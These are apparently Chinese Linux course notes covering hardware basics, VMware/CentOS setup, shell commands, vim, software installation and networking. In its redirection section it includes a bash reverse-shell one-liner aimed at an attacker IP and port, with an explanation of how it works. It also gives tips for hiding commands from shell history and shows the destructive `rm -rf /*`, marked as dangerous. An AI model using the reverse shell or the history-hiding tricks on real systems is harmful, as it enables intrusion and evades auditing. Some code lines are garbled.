admin管理员组文章数量:1652098
Linux使用命令详解
- Linux操作系统-2022(Viper)
- 章节1:计算机体系结构
- 1.1-计算机发展历史
- 1.2.1-计算机硬件组成-CPU
- 1.2.2-计算机硬件组成-内存
- 1.2.3-计算机硬件组成-硬盘
- 1.3.1-程序运行原理-二进制
- 1.3.2-程序运行原理-编程语言
- 1.4-个人电脑操作系统
- 1.5-服务器操作系统
- 1.6-为什么要学习Linux
- 章节2:Linux操作系统介绍
- 2.1-操作系统简史
- 2.2-Linux诞生与分支
- 2.3-Linux内核与发行版
- 章节3:安装和配置CentOS
- 3.1-什么是虚拟机
- 3.2-Docker容器技术
- 3.3-安装VMware
- 3.4-VMware三种网络模式
- 3.5.1-安装CentOS
- 3.5.2-VI编辑器
- 3.5.3-CentOS配置静态IP
- 3.5.4-CentOS修改yum源
- 3.5.5-Xshell连接CentOS
- 章节4:Linux操作系统基础知识
- 4.1-Linux系统结构
- 4.2-Linux常用操作
- 4.3-文件描述符和重定向
- 章节5:文件与目录管理
- 5-Linux文件和目录管理
- 章节6:文件压缩及解压缩
- 6-文件压缩及解压缩
- 章节7:查看和处理文件内容
- 7-查看和处理文件内容
- 章节8:文本编辑器
- 8-Linux文本编辑器
- 章节9:软件安装
- 9-Linux软件安装
- 章节10:用户管理
- 10.1-Linxu用户和权限管理
- 10.2-sudoers填坑
- 章节11:网络管理
- 11-Linux网络管理
- 章节12:系统状态管理
- 12-Linux系统状态管理
Linux操作系统-2022(Viper)
更多了解请到https://www.linuxcool/
章节1:计算机体系结构
1.1-计算机发展历史
-
计算机的组成
- 冯·诺依曼体系结构
-
计算机的发展
1.2.1-计算机硬件组成-CPU
-
CPU:Central Processing Unit(中央处理器/处理器)
- 计算机的心脏
-
CPU的本质
-
大规模高精度的集成电路
- 控制单元(Control Unit):完成数据处理整个过程中的调配工作 - 控制单元(Control Unit):完成数据处理整个过程中的调配工作 - 存储单元:负责存储原始数据以及运算结果
-
-
-
CPU和芯片的关系
-
芯片有很多种,CPU芯片是其中一种
其他还有GPU、NPU、FPGA芯片等等- 一句话:CPU是芯片的子集
-
-
CPU和GPU(显卡)的区别
- cpu是电脑的中央处理器,在电脑中起着控制计算机运行的作用;gpu是一个附属型的处理器,主要处理计算机中与图形计算有关的工作,并将数据更好地呈现在显示器中。
-
CPU重要参数
1.2.2-计算机硬件组成-内存
-
内存也被称为内存储器/主存储器
-
内存与存储空间(不同)
- 运行内存:RAM(Random Access Memory)
存储空间:ROM(Read Only Memory)
- 运行内存:RAM(Random Access Memory)
1.2.3-计算机硬件组成-硬盘
-
分类
- 机械硬盘HDD
- 固态硬盘SSD
-
硬盘-> 外存储器
-
硬盘和内存的区别
-
1、读写速度
2、作用
3、持久存储-
1、CPU的读写速度>内存读写速度>硬盘读写速度
-
2、硬盘主要用来存储数据,内存主要其作用是用于暂时存放CPU中的运算数据,以及与硬盘等外部存储器交换的数据。
-
内存是计算机中重要的部件之一,它是外存与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的,因此内存的性能对计算机的影响非常大。
- 只要计算机在运行中,操作系统就会把需要运算的数据从内存调到CPU中进行运算,当运算完成后CPU再将结果传送出来,内存的运行也决定了计算机的稳定运行。内存条是由内存芯片、电路板、金手指等部分组成的。
-
-
硬盘内的数据可以一直存储至硬盘的寿命结束前
- 内存条是ram,保存数据需要有供电刷新,如果掉电数据就没了,另外,可以断电保存数据的rom也是有寿命的,介质也会失效,永久保存很难。(关机内存数据清空)
-
-
1.3.1-程序运行原理-二进制
-
计算机只认识0和1
-
其他进制的计算机
-
三进制
- 前苏联 比二进制计算机强
- 我国九章计算机也是三进制计算机
-
八进制
-
十进制
-
十六进制
-
……
-
1.3.2-程序运行原理-编程语言
-
计算机语言发展过程
-
机器语言(低级语言)
-
二进制代码语言,计算机可以直接识别运行
- 特点:操作比较复杂,但可以直接和硬件打交道,所以运行速度比较快
-
-
汇编语言
-
用英文字母或符号串来替代操作
-
例:LOAD A
- 对于硬件的要求比较高,不同硬件之间……
-
-
-
高级编程语言
-
面向过程
- C,Basic……
-
面向对象
- Java,C++,Python……
-
特点:编码简单,可跨平台……
-
-
1.4-个人电脑操作系统
-
为什么需要操作系统(Operating System)?
- 1、提供API,屏蔽硬件的差异
- 2、协调系统资源
1.5-服务器操作系统
-
服务器的组成部分
-
服务器硬件
-
服务器操作系统
- Windows Server系列
Linux系列:Redhat、CentOS、Debian、Ubuntu
Unix系列:SUN Solaris、BSD Unix
- Windows Server系列
-
HTTP容器(Web服务器)
- Tomcat、Apache、Nginx、Weblogic、JBoss……
-
应用程序
- 各种编程语言开发的软件项目:Java、PHP、C、Python、Ruby、Go……
-
-
软件架构
-
C/S架构:Client/Server
- 客户端:迅雷、QQ、百度网盘、腾讯课堂、网易云音乐、游戏
客户端、腾讯视频……
特点:需要安装和升级,占用资源多,性能高
- 客户端:迅雷、QQ、百度网盘、腾讯课堂、网易云音乐、游戏
-
B/S架构:Browser/Server
- 浏览器:Chrome、FireFox、Edge、360……
站点:百度、知乎、微博、贴吧、淘宝……
特点:不用安装维护,跨操作系统,占用资源低
- 浏览器:Chrome、FireFox、Edge、360……
-
-
软件的服务过程
1.6-为什么要学习Linux
-
1、使用网络的程序,都有一个服务器
-
2、服务器,大部分使用的是Linux操作系统
-
学习方法
- 1、先学习重点
- 2、分门别类地学
- 3、不要强行记命令
- 4、多用,自然熟练
章节2:Linux操作系统介绍
2.1-操作系统简史
-
1946年诞生世界上第一台计算机
-
没有操作系统
- 穿孔卡片
-
-
Linux图形界面
-
KDE,GNOME、Xfce、LXDE、MATE
- echo $DESKTOP_SESSION
- echo $GDMSESSION
- ps -A | egrep -i “gnome|kde|mate|cinnamon|lx|xfce|jwm”
-
2.2-Linux诞生与分支
-
Linux
-
Linux is not UNIX
- Version 7 Unix——闭源
-
-
Unix分支
2.3-Linux内核与发行版
-
Linux内核
-
内核:设备驱动、文件系统、进程管理、网络通信……
-
https://www.kernel/
- uname -a
- cat /proc/version
-
-
升级内核方法
- blog.csdn/u013253075/article/details/119679385
-
-
什么是发行(xing)版?(Distribution)
- 1、linux核心只有内核部分,安装完后,用户界面/软件都没有。内核是系统的心脏,是linux中最基层的代码。
2、linux发行版,就是在内核的基础上,加入用户界面,各种软件的支持。比如CenterOS、小红帽等等。在内核的基础上,开发不同应用程序,组成的一个完整的操作系统。
-
查看发行版本
- cat /etc/redhat-release
章节3:安装和配置CentOS
3.1-什么是虚拟机
-
Virtual [ˈvɜːtʃuəl] Machine 虚拟机/物理机
-
虚拟化技术
- 虚拟机软件:VMware Workstation、VirtualBox、 Virtual PC、Citrix Xen Desktop、Parallels Desktop (MacOS)
- 虚拟化技术:Xen、OpenVZ、KVM、Hyper-V
-
虚拟机工作原理
-
虚拟机使用场景
- 1、运行特定版本操作系统
- 2、隔离物理机,测试用
- 3、提升资源利用率
-
Linux 自带的虚拟化技术
- Kernel-based Virtual Machine(KVM)
3.2-Docker容器技术
-
Docker架构图
-
Docker特点
- 开箱即用
- 快速部署
- 可移植性强
- 环境隔离
-
Docker实现原理
- namespace——系统环境的隔离
- Cgroup——资源限制
- 镜像管理文件系统操作——根目录环境的隔离
-
虚拟机和Docker
-
虚拟机和Docker特点对比
3.3-安装VMware
-
开启虚拟化
- https://blog.csdn/weixin_44210782/article/details/104661303
- 1、根据自己的电脑型号(主板型号) 搜索进入BIOS的方式, 开机的时候按F8 F10 F12或Del等 2、在BIOS中设置
-
VMware下载安装
- 00-安装VMWare.docx
-
物理机蓝屏的问题
-
虚拟机开机导致物理机蓝屏或重启的问题 安装最新版Vmware大概率可以解决
- https://blog.csdn/weixin_55118477/article/details/121080830
- https://blog.csdn/wwwwzz/article/details/114682821
-
-
虚拟机被锁定问题
- 1、原因:启动了多个VMWare程序,在多个窗口打开了 一个虚拟机
- 2、解决办法:找到原来的窗口,或者删除虚拟机目录下 所有的 .lck文件和.lck目录
-
重启或者合上屏幕以后虚拟机连不上
- 1、在网络适配器中,禁用VMnet8,再启用就OK了
- 2、可以做成脚本,右键管理员运行
-
VMware基本功能
- 编辑网络——“虚拟网络编辑器”
- 克隆和快照
- 与物理机传输文件
3.4-VMware三种网络模式
-
基础知识
-
网卡、路由器、交换机
-
虚拟交换机
-
作用
- 让相同网络模式的虚拟机可以相互连接
-
-
虚拟网卡
-
作用
- 让主机和虚拟机相互连接
-
-
关键问题
- 1、主机怎么和虚拟机连接?
- 2、虚拟机怎么连接到互联网?
-
-
桥接模式(Bridge)
- 桥接-总结1 - 通信方式 - 1、虚拟机通过连接到虚拟机交换机,利用虚拟网桥连接到主机的网卡 - 2、它不需要用到虚拟网卡,所以没有VMware Network Adapter - 特点 - 1、物理机和虚拟机地位平等 - 2、虚拟机占用一个独立IP - 3、使用物理机的网卡访问互联网 - 配置 - 虚拟机IP网段和主机一致 - 桥接-总结2 - 连通情况 - 1、主机和虚拟机可以访问 - 2、虚拟机之间可以相互访问 - 3、可以访问互联网 - 4、可以访问其他主机 - 5、其他主机可以访问本虚拟机 - 使用场景 - 创建一个虚拟服务器在内网提供网络服务
- 直接用物理机的网卡去上网的(网段一致)
-
NAT模式(NAT:Network Address Translation)
- NAT-总结1 - 通信方式 - 1、虚拟NAT设备(虚拟路由)连接到VMnet8虚拟交换机——虚拟机联网 用 - 2、主机通过VMware Network Adapter VMnet8虚拟网卡连接到VMnet8 虚拟交换机——主机和虚拟机连接用 - 特点 - 1、虚拟机在外部网络中没有自己的IP地址 - 2、虚拟NAT设备会把专用网络中的 IP 地址转换为主机系统的 IP 地址—— 网络地址转换 - 3、主机可以联网,虚拟机就可以联网 - 配置 - 无 - NAT-总结2 - 连通情况 - 1、主机和虚拟机可以访问 - 2、虚拟机之间可以相互访问 - 3、可以访问互联网 - 4、本机虚拟机可以访问其他主机 - 5、其他主机不能访问本机虚拟机。解决办法:共享网络、端口映射 - 使用场景 - 大部分情况
-
仅主机模式(Host-Only)
- 仅主机-总结1 - 通信方式 - 主机使用VMware Network Adapter VMnet1虚拟网卡连接到VMnet1虚 拟交换机 - 特点 - 没有了NAT设备(虚拟路由),所以不能上网 - 配置 - 无 - 仅主机-总结2 - 连通情况 - 1、主机和虚拟机可以访问 - 2、虚拟机之间可以相互访问 - 3、不能访问互联网 - 4、不能访问其他主机 - 5、其他主机不能访问本机虚拟机 - 使用场景 - 创建一个与其他机器隔离的网络
3.5.1-安装CentOS
- 01-解压版CentOS7使用方法.docx(推荐)
- 01-安装CentOS.docx
3.5.2-VI编辑器
-
三模式
-
1、命令模式:只能输入命令
-
2、编辑模式(插入模式):可以修改文本
- i/…
-
3、底行模式(底部命令模式):结束操作
- q!/wq/…
-
-
问题
-
1、只读权限
- 用root用户来执行
-
2、临时swp文件
-
3.5.3-CentOS配置静态IP
-
为什么要配置一个静态的IP
-
静态IP配置不是必要性的
-
在安装好CentOS虚拟机以后,一般我们会通过Xshell连接到虚拟机,而不是直接使用虚拟机里面的终端(Terminal)输入命令。
- 如果使用默认的动态分配IP,虚拟机每次开机以后IP都会改变,Xshell连接需要修改IP。所以这里我们需要将IP设置成静态IP,只要虚拟机开机即可连接。
-
-
问题:如果网络环境发生变化,比如从有线变成无线,或者电脑从办公室移动到家里,主机IP(网段)发生了变化,需要重新设置虚拟机的静态IP吗?
- 答案是不需要,不影响物理机与虚拟机的连接。
-
02-VMware+Centos7 静态IP设置方法.docx
-
虚拟机网络连接成功的标准:
- 1、物理机可以ping虚拟机IP
- 2、虚拟机可以ping baidu
-
3.5.4-CentOS修改yum源
-
yum是CentOS中的一种软件管理器,通过yum安装软件,可以自动解决包依赖的问题,免去手工安装依赖包的麻烦。
-
yum使用了一个中心仓库来记录和管理软件的依赖关系,默认为mirrorlist.centos,叫做CentOS官方yum源。
- 这个仓库可以类比为手机的应用市场,应用市场也有很多,比如华为应用市场、小米应用市场、应用宝等等。
-
-
03-CentOS7替换yum源为阿里云.docx
3.5.5-Xshell连接CentOS
-
远程连接工具
-
Xshell(个人推荐)
- 04-Xshell7使用教程.docx
-
FinalShell(国产免费)
-
MobaXterm
-
SecureCRT
-
-
添加连接
-
修改编码解决中文乱码
- 窗口排列
-
-
SSH、SSH Key
-
SSH(Secure Shell,安全外壳)
-
SSH Key
-
1、客户端生成密钥对(公钥、私钥)
-
2、客户端把公钥发给服务端保存(正常情况需要密码)
-
3、客户端用私钥加密消息,发给服务端
-
4、服务端用公钥解密,解密成功,说明密钥匹配
-
5、客户端免密登录成功
- “你之前同意保存我的公钥,所以可以解密我的消息,所以认得我”
-
-
-
物理机和虚拟机文件传输
- xftp
- sz file
- rz
- vmtools拖动
- wget
- scp
- ……
章节4:Linux操作系统基础知识
4.1-Linux系统结构
-
Linux系统结构
-
1、内核
- 1、管理进程
- 2、管理内存
- 3、管理驱动
- 4、管理文件和网络
- ……
-
2、Shell
-
作用
-
接收用户的命令,经过转换,交给内核去执行
- cat —> open() read()
-
-
特点
- 1、简化操作
- 2、安全
-
Linux Shell工具
-
Shell和Terminal
-
Shell编程/Shell脚本(.sh)
-
-
3、文件系统
-
“一切皆文件”
- 普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件
-
根目录文件/
-
bin
-
存放普通用户可执行的指令
- 即使在单用户模式下也能够执行处理
-
-
boot
-
开机引导目录
- 包括Linux内核文件与开机所需要的文件
-
-
dev
-
设备目录
- 所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
-
-
etc
-
各种配置文件目录
- 大部分配置属性均存放在这里
-
-
lib
-
库文件存放地,bin和sbin需要的库文件
- 类似windows的DLL
-
-
media
-
可移除设备挂载目录
- 类似U盘、光盘、移动硬盘等临时挂放目录
-
-
mnt
-
用户临时挂载其他的文件系统
- 额外的设备可挂载在这里,相对临时而言
-
-
opt
-
第三方软件安装目录
- 现在习惯性的放置在/usr/local中
-
-
proc
-
虚拟文件系统
- 通常是内存中的映射,特别注意在误删除数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来
-
-
root
-
系统管理员主目录
- 除root之外,其他用户均放置在/home目录下
-
-
run
-
系统运行时所需文件
- 以前防止在/var/run中,后来拆分成独立的/run目录。重启后重新生成对应的目录数据
-
-
sbin
-
只有root才能运行的管理指令
- 跟bin类似,但只属于root管理员
-
-
srv
- 服务启动后需要访问的数据目录
-
sys
-
跟proc一样,虚拟文件系统
- 记录核心系统硬件信息
-
-
tmp
-
存放临时文件目录
- 所有用户对该目录均可读写
-
-
usr
-
应用程序放置目录
- 自己的软件安装在/etc/usr/local目录下
-
-
var
- 存放系统执行过程经常改变的文件
-
-
用户主目录
-
home directory
- root用户的主目录是 /root
- 其他用户的主目录是 /home/用户名
-
工作目录:working directory
- cd 空格 或者 cd ~
-
目录指代
- cd home和cd home/是不同的,只有目录才会有/,文件是不能有/的
-
-
-
4、应用程序
-
4.2-Linux常用操作
-
命令帮助
- man command(manual)——具体参数和使用方法
- whatis command——命令的简要说明
- info command——详细介绍
- help command——Linux内置命令
-
关机重启(root用户)
-
关机
- poweroff
- shutdown -h now
- halt -p
-
重启
- reboot
-
-
快捷键和命令
-
Tab键
- 补全命令和目录(自动提示)
-
方向键
- 上一条命令:方向键上;下一条命令:方向键下
-
Ctrl+r
- 搜索历史命令,回车执行
-
!cd:
- 重复执行最近一次,以cd开头的历史命令
-
Ctrl+insert
- 复制(我的电脑是Fn+Ctrl+insert)
-
Shift+insert
- 粘贴(我的电脑是Fn+Shift+insert)
-
Alt+insert
- 复制并粘贴(我的电脑是Fn+Alt+insert)
-
Ctrl+E
- 光标移动到行尾
-
Ctrl+A
- 光标移动到行首
-
Ctrl+K
- 清除光标后至行尾的内容
-
Ctrl+U
- 清除光标前至行首间的所有内容
-
clear
- 清屏,但是命令都还在
-
history -c
- 清除历史命令 kali: echo > ~/.zsh_hsitory
-
-
别名配置alias
- 查看别名:alias
- 设置别名(以bash为例):vim ~/.bashrc
- 格式:alias short=‘xxx;xxx’
- 生效:source ~/.bashrc
-
通配符
-
- 任意字符
-
?
- 单个字符
-
[]
- 匹配范围中的,比如[0-9]-a-z]
-
{}
- 多个 || {.log,.txt}
- 创建多个文件touch {0…10}.txt
-
^
- 取反|| [^txt]*查找不是.txt结尾
-
-
系统环境变量
- 环境变量的作用?
- 查看全部变量:env
- 查看单个变量:echo $XXX
- 用户变量:~/.bashrc
- 系统变量:/etc/profile
-
案例:设置JDK环境变量(可跳过,本节不重要)
- vim /etc/profile
- export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH= J A V A H O M E / b i n : JAVA_HOME/bin: JAVAHOME/bin:PATH
export CLASSPATH=.: J A V A H O M E / l i b / d t . j a r : JAVA_HOME/lib/dt.jar: JAVAHOME/lib/dt.jar:JAVA_HOME/lib/tools.jar - source /etc/profile
4.3-文件描述符和重定向
-
文件描述符 File Descriptor
-
重定向
-
输出重定向
-
输入重定向
-
-
bash反弹连接案例
-
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
- bash -i 在靶机打开交互式的Shell;
/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口;>& 和 &>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果用。 - 0>&1,左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令用。
所以,靶机的输入输出都到了攻击机上。
- bash -i 在靶机打开交互式的Shell;
-
-
补充
-
1、不想让操作系统记录我的输入命令
-
1、在 ~/.bashrc里缺少一个配置
-
echo HISTCONTROL=ignorespace >> ~/.bashrc
- 2、在命令前面加个空格就可以了
-
-
-
2、取反符号的用法
- 例如:ls [^w]*
-
章节5:文件与目录管理
5-Linux文件和目录管理
-
命 令 格 式
-
常规命令格式
-
Command Options Arguments 命令 选项 参数 rm -rf /*
-
Options选项:命令的行为方式
-
Arguments参数:命令的对象
-
注意:这是一个笑话,且该命令十分危险!!!!!!!,不要执行!!!!
-
-
-
-
规范
- 命令
- 空格
- 大小写
- 顺序
-
命令选项详细参考资料
- https://wangchujiang/linux-command
- https://www.linuxcool
-
文 件 与 目 录 管 理
-
列出目录内容和属性
-
命令:ls
-
全拼:list
-
选项
-
-a
- 显示所有隐藏文件
-
-l
- 以列表的形式列出
-
-al
-
-la
-
-
格式:ls 选项 文件名
-
例:
- ls -a
- ll --block-size=M
-
-
-
-
打印工作路径
-
命令:pwd
- 全拼:print working directory[dəˈrektəri]
- 格式:pwd
-
-
切换工作目录
-
命令:cd
- 全拼:change directory
- 格式:cd 相对路径或者绝对路径
-
-
查看文件类型
-
命令:file[faɪl]
-
格式:file 需要查找的文件的路径 选项 文件或目录名字
- file -i 文件名
-
选项
-
-name名字
- 例:find /etc -name a*
- 例:find / -name “aaa” 2>/dev/null
-
-type类型参数
-
-
-
-
复制文件或目录
-
命令:cp
-
全拼:copy[ˈkɒpi]
-
格式:cp 选项 源文件 目标文件
-
选项
- -R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
- -f:强制(force[fɔːrs])复制文件或目录,不论目标文件或目录是否已存在;
-
-
-
查找文件或者目录-1
-
find
-
格式:find 目录 选项 名字或模式
-
-name 名字
- find /etc -name a*
- find / -name “aaa” 2>/dev/null
-
-type [taɪp]类型参数
- f 普通文件,d 目录
- find /root -type f
-
-size[saɪz]大小
- find /root -type f -size 10M
-
-exec command
-
把find找到的内容作为命令的参数去执行 {}就是找到的内容
- find . -name “*.txt” -exec rm -rf {} ; (包括子目录)
- find . -name aaa -exec mv {} bbb ;
-
-
-
-
其他查找命令
- whereis :查找二进制程序、代码等相关文件路径
- which:查找并显示给定命令的绝对路径
- locate:updatedb程序每天会跑一次,建立文件索引
-
创建目录
-
命令:mkdir
-
全拼:make direcotry
-
选项
-
-p
-
可以一次性创建多个目录
- mkdir -p aa/bb/cc
-
-
-
格式:mkdir 选项 目录名
- mkdir test
- mkdir -p /usr/local/soft/redis
-
-
-
移动或者重命名
-
命令:mv
-
全拼:move[muːv]
-
格式:mv 选项 原文件 新文件
- mv 1.txt 2.txt
- mv /a/1.txt /b/1.txt
-
-
-
删除文件
-
命令:rm
-
全拼:remove[rɪˈmuːv]
-
格式:rm 选项 (多个)文件名
-
删除空目录:rmdir
-
删除非空目录
-
-r/R
- 递归recursive(连同子文件夹一起删除)
-
-f
- 强制删除
-
-v
- 显示指令的详细执行过程
-
-i
- 删除文件或目录前先询问用户
-
例如:
- find . -name “a.json” -exec rm -rf {}
-
-
-
-
-
创建空文件
-
命令:touch
-
格式:touch 选项 文件名
- touch a.txt
-
-
小提示
- 如果一个文件已经存在,再次使用touch命令创建一个一模一样的文件,执行过后它不会提醒,也不会修改什么的,只会改变文件的最后修改时间(时间戳),其他的和之前一样
-
-
-
挂 载 和 链 接
-
挂载mount
-
问题:一个目录树怎么使用多个磁盘?
- 原路径:/dev/sdb1 挂载到: /sdb-u
- mkdir /sdb-u
- mount /dev/sdb1 /sdb-u
-
挂载后:
-
-
链接ln
-
全拼:link[lɪŋk]
-
格式:ln 源文件 链接文件
-
硬链接
-
ln 1.php hard.php
-
vim hard.php
-
cat 1.php
-
注意:
- 硬链接的两个文件修改了硬链接的文件,原文件也会同步更新;删除了硬链接的文件,对于原文件没有影响。
- 1、用户不能给目录创建硬链接
- 2、只有相同的文件系统才可以创建硬链接(tmpfs NTFS FAT32)
-
-
软链接(-s)
-
查看软链接:
- ll /usr/bin/nc
-
如何删除软链接
- rm 软链接名称
-
创建软链接:
- ln -s /usr/local/phpstudy/system/phpstudyctl /usr/bin/study
-
注意:
- 源文件删除,软连接失效
-
-
-
-
章节6:文件压缩及解压缩
6-文件压缩及解压缩
-
打包 和 压 缩 的 区 别
-
打包:多个文件变成一个文件——减少文件个数
-
打包/解包 pack/unpack
-
打包的作用:减少传输文件的次数
-
-
压缩:缩小一个文件的体积——减少文件体积
-
压缩/解压 compress/decompress
-
如何评价压缩的好坏
- 压缩率:压缩后体积/压缩前体积
-
-
压缩
- 有损压缩
- 无损压缩
-
-
注意:打包、解包、压缩、解压都需要消耗时间
- 用时间换空间的压缩算法
-
-
常 见 压 缩 格 式
-
HTTP:gzip
- gzip、 deflate(zlib的格式)、 br(Brotli)、identity(不压缩)
-
Windows:zip、rar、7z
- winrar、360压缩、bandizip、7zip
-
Linux:gzip(tar.gz=.tgz)、bzip2(.bz2)、zip
- 压缩后体积: tar.bz2 < tgz < tar
- 压缩解压时间: tar.bz2 < tar < tgz
-
-
t a r 命 令
-
tar常用选项 (tar是Tape Archive的缩写)
-
-c
- 打包
-
-x
- 解包
-
-v
- 显示打包/解包过程
-
-f
- 指定文件名称,必须放在所有选项后面
-
-
tar用法示例
-
tar其他操作
-
-
z i p 命 令
- zip用法示例
章节7:查看和处理文件内容
7-查看和处理文件内容
-
文 本 文 件 和 二 进 制 文件
-
文本文件
- ASCII、UTF-8、Unicode、ANSI、 txt、xml、conf、properties、yml等配置文件、日志文 件、源代码
-
二进制文件
- 可执行程序、图片、音频、视频
-
-
cat
- 全拼:concatenate [kənˈkætəneɪt] 连接
- 格式:cat 文件名
-
more/less
-
more/less分屏操作
-
more/less搜索
-
/[查找字符] # 配合n键,从上往下查所有。
-
?[查找字符] # 配合n键,从下往上查所有。
-
按 Enter 键后:
- n键盘查找下一个符合的内容。
- N上一个符合的内容。
-
-
-
head/tail
-
head -n 10 redis.conf
-
tail -n 10 info.log
-
tail -f /var/log/messages
- -f实时的更新
-
-
grep、管道符号
-
全拼:Globally search a Regular Expression and Print
-
全局搜索正则表达式并打印
- 格式:grep 选项 模式 文件名
-
-
grep和find命令的区别
- grep是搜索文件内容中的某个关键字
- find是搜索某个指定名称的文件
-
管道符号pipe
-
把前一个命令原本要输出到屏幕的数据当作是后一个命 令的标准输入
-
command1 | command2 | command3
-
例如:
- cat test.log | more -5 每次显示5行
- ps -ef | less -N 显示行号
- netstat -an|grep 3306
- cat -n info.log |grep “debug” | more
-
-
-
-
wc
-
全拼:word count
-
-l或–lines 显示行数
-
-w或–words 只显示字数
-
巧妙用法:来统计某一目录下有多少文件
- ls -l | wc -l
-
例如:
- wc -l redis.conf
- wc -w redis.conf
-
-
-
diff
-
全拼:different
-
对比文件
- diff diff_A.txt diff_B.txt
-
对比目录
-
-r选项
- diff -r aaa bbb
-
-
-
章节8:文本编辑器
8-Linux文本编辑器
-
Windows
- Notepad(记事本)、Sublime、UltraEdit 等
-
Linux
- VI/VIM、nano、Emacs、Sed、gedit、Kate等
-
V I 和 V IM的 区 别
-
VI:Visual Interface
- 1976 Bill Joy(ex)
-
Vim:VI IMproved
- 1991 Bram Moolenaar
-
-
V IM配 置 文 件
-
全局配置
- /etc/vimrc
-
用户配置
- ~/.vimrc
-
详细配置参考:
- https://blog.csdn/xiao_yi_xiao/article/details/118491698
-
-
V IM三 种 模 式
-
区别
- 命令模式:通过命令操作文本文件
- 编辑模式:对文本的内容进行编辑
- 底行模式:结束操作的时候使用
-
切换
-
命 令 模 式
-
错误提示:
- E325: ATTENTION Found a swap file by the name “.redis.conf.swp”
- 原因:编辑未结束
- 解决办法:保存文本文件,或者删除.swp
-
移动光标操作
-
搜索替换操作
-
删除和复制操作
-
-
编 辑 模 式
-
进入编辑模式
-
撤消
-
-
底 行 模 式
- 进入底行模式
-
章节9:软件安装
9-Linux软件安装
-
1、软件为什么需要安装
-
Windows软件安装流程
- 1、安装检查
- 2、释放文件
- 3、复制可执行文件
- 4、DLL动态链接库/安装服务
- 5、注册表
- 6、开始菜单和快捷方式
-
Windows安装文件
-
Windows可执行程序
-
Linux可执行程序
-
-
2、脚本和程序的区别
- 不需要编译的:Javascript、Python、Ruby……
- 需要编译的:C、C++、Swift、Kotlin、Go……
- 解释型:边解释边执行
- 编译型:计算机可以直接执行
-
3、Linux安装软件的几种方式
-
Linux主要派系
-
Linux软件常见安装方式
-
源码编译(make)、rpm、deb、yum、apt、 Docker……
-
源码安装
- 案例(教程合集) - 41-CentOS7源码方式安装Redis 6.docx - 42-CentOS7源码方式安装nginx.docx
-
rpm安装
-
RedHat Package Manager
-
rpm选项
-
rpm缺陷:不能解决软件依赖性
-
-
yum安装
-
YUM(Yellow dog Updater, Modified)
-
案例(教程合集)
- 06-CentOS7yum方式安装Docker.docx
- 43-CentOS7 yum方式安装MySQL 5.docx
-
-
yum操作和选项
-
-
DNF和YUM的区别
-
Debian系
-
FreeBSD系
-
-
-
4、CentOS安装软件案例
-
Linux软件安装方式
-
CentOS启用中文输入法
-
https://blog.csdn/carefree2005/article/details/119607891
- Win+空格键 进行切换
- grep “password” /var/log/mysqld.log
-
-
43-CentOS7 yum方式安装MySQL 5.docx
-
-
-
5、Linux软件版本管理
-
update-alternatives
-
查看:
- update-alternatives --display java
-
添加:
- alternatives --install /usr/bin/java java /usr/local/jdk-11.0.2/bin/java 3
- /usr/bin/java:注册地址,软链
- java:服务名
- /usr/local/jdk-11.0.2/bin/java:实际程序路径
- 3:优先级
-
切换:
- update-alternatives --config java
-
-
章节10:用户管理
10.1-Linxu用户和权限管理
-
用户与权限
-
用户组Group
-
组ID - Group ID - GID
-
Group相关命令
- 用户必须依赖用户组的存在
-
-
用户ID-User ID-UID
- User相关命令
-
用 户 管 理 相 关 文 件
-
/etc/group
-
/etc/passwd
-
/etc/shadow
-
密码格式
-
/etc/sudoers
-
-
用 户 管 理 基 本 命 令
- 基本命令
-
用户和文件的关系
- 文件所有者:所属用户、所属组
- 访问权限:读、写、执行
-
文件和目录归属
-
文 件 和 目 录 权 限
- 文件类型
-
用户类别
-
权限类别
-
权限类别
-
修改权限
10.2-sudoers填坑
- 用visudo命令打开并编辑,然后执行特殊命令的时候在最前面加上一个sudo就行了(用visudo命令修改配置文件是临时操作)
章节11:网络管理
11-Linux网络管理
-
网 络 基 本 概 念
-
物理地址/逻辑地址
-
网卡
-
MAC地址(Media Access Control)媒体访问控制
-
IP(Internet Protocal Address)互联网协议地址
-
例如:
- 192.168.142.132
- 47.106.11.166
-
-
公有私有
- 局域网——使用私有IP地址
- 互联网——使用公有IP地址
-
NAT
- NAT:Network Address Translation,网络地址转换
-
IPv4、IPv6
-
公网IP地址的分配
-
动态、静态IP
- DCHP(Dynamic Host Configuration Protocol)动态
- static 静态
-
127.0.0.1
-
环回地址(loop back)
- 可以ping通代表网卡安装正常
-
-
端口port
- 子主题 1
-
域名Domain Name
-
域名Domain Name
-
DNS服务器后台配置
-
-
网 络 配 置 文 件
-
查 看 及 配 置 网 络
-
ifconfig
-
全拼:network interfaces configuring
-
位于net-tools工具包
- 可以动态配置网络参数
-
其他选项参数:https://www.linuxcool/
-
-
ifconfig和ip
-
ip
-
位于iproute工具包
-
添加设备、启动停止网络设备、设置IP、设置网关……
- 其他选项参数:https://www.linuxcool/
-
-
-
-
连 通 性 探 测
-
ping
- 全拼:Packet Internet Groper,因特网包探索器
- ping baidu
- ping 192.168.142.151
-
telnet
-
远程登录
- telnet bbs.newsmth
-
探测端口
- telnet 192.168.142.132 80
- telnet 192.168.142.132 22
-
-
-
查 看 网 络 连 接
-
netstat(ss)
-
全拼:network statistics
-
查看程序的网络连接情况:
- netstat -ap | grep ssh
-
查看端口的网络连接情况:
- netstat -ap | grep 3306
-
-
-
域 名 相 关
-
下 载 传 输
-
常规方式
- Xshell拖拽———上传
- xftp———双向,或者Filezilla、FlashFTP
- sz file name———下载
- rz———上传
- vmtools拖动———传入
- QQ———双向
-
wget
-
scp
- 全拼:Secure Copy
- scp 1.txt root@192.168.142.66:/tmp
- scp -r folder root@192.168.142.66:/tmp
-
curl
- 全拼:Client URL
- curl https://www.baidu > page.html
- curl -X POST -d ‘a=1&b=nihao’ URL
- curl -H “Content-Type: application/json” -X POST -d ‘{“abc”:123,“bcd”:“nihao”}’ URL
-
-
防 火 墙 设 置
章节12:系统状态管理
12-Linux系统状态管理
-
